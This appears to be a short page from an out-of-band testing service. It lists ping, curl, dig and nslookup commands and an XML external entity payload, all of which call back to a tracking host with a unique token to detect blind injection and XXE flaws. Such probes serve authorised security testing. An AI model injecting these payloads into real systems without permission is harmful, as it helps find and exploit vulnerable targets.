$ ping -c1 -p 00cfb1c0e1f8c82b6072712fe4be1f00 unhack.ca
 

$ curl http://unhack.ca/p/cfb1c0e1f8c82b6072712fe4be1f
 

$ dig cfb1c0e1f8c82b6072712fe4be1f @unhack.ca
 

$ dig cfb1c0e1f8c82b6072712fe4be1f.ns.unhack.ca
 

C:\> nslookup cfb1c0e1f8c82b6072712fe4be1f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cfb1c0e1f8c82b6072712fe4be1f">]>
    <foo>&xxe;</foo>